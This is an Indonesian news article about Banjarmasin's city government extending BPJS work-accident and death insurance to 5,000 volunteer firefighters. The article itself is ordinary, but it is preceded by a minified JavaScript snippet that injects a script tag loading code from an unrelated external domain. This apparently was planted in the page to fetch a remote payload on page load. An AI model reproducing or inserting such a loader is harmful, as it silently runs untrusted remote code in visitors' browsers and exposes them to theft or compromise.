(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');

5.000 Relawan Damkar di Banjarmasin Mendapat Jaminan Keselamatan Kerja

KANALKALIMANTAN.COM, BANJARMASIN – Ribuan relawan pemadam kebakaran (Damkar) di Kota Banjarmasin, Provinsi Kalimantan Selatan kini terjamin keselamatannya dalam bertugas memadamkan api.

Jika pada tahun 2023 hanya sebanyak 2.500 orang relwan Damkar yang didaftarkan sebagai peserta BPJS Ketenegakerjaan, pada tahun 2024 ini, Pemerintah Kota (Pemko) Banjarmasin menambah sebanyak 2.500 relawan Damkar untuk diberikan asuransi ketenegakerjaan.

Sehingga total relawan Damkar swasta Kota Banjarmasin yang telah tercover BPJS Ketenegakerjaan pada tahun 2024 yaitu sebanyak 5.000 orang.

“2.500 yang terdaftar tahun 2023, kemudian 2.500 orang relawan lagi pada tahun 2024,” kata Ibnu Sina, Selasa (28/5/2024) siang.

Wali Kota Ibnu Sina menambahkan, pemberian asuransi tersebut dalam rangka memberikan jaminan kepada relawan Damkar jika sewaktu-waktu mengalami kecelakaan dalam melaksanakan tugas memadamkan api.

Menurutnya, selama ini relawan Damkar di Kota Banjarmasin selalu tanggap dalam memadamkan kebakaran rumah-rumah warga meskipun kejadiannya tak bisa diprediksi baik siang atau ataupun malam hari. Sehingga pihak Pemko Menilai menilai perlu diberikan asuransi keselamatan saat dalam bertugas.

Asuransi yang diberikan terdiri dari program Jaminan Keselamatan Kerja (JKK) dan Jaminan Kematian (JKM) bagi ribuan relawan Damkar. Dan biaya dibayarkan langsung oleh Pemko Banjarmasin.

“Kalau terjadi kecelakaan maka sudah tercover oleh BPJS Ketenagakerjaan. Relawan yang terdaftar mendapatkan santunan, kalau meninggal dunia Rp42 juta,” kata Walikota.

Ibnu Sina memastikan jika pemberian asuransi kepada ribuan relawan Damkar menggunakan anggaran daerah sudah mendapat persetujuan oleh Dewan Perwakilan Rakyat Daerah (DPRD) Banjarmasin. (Kanalkalimantan.com/rizki)

Reporter: rizki
Editor: bie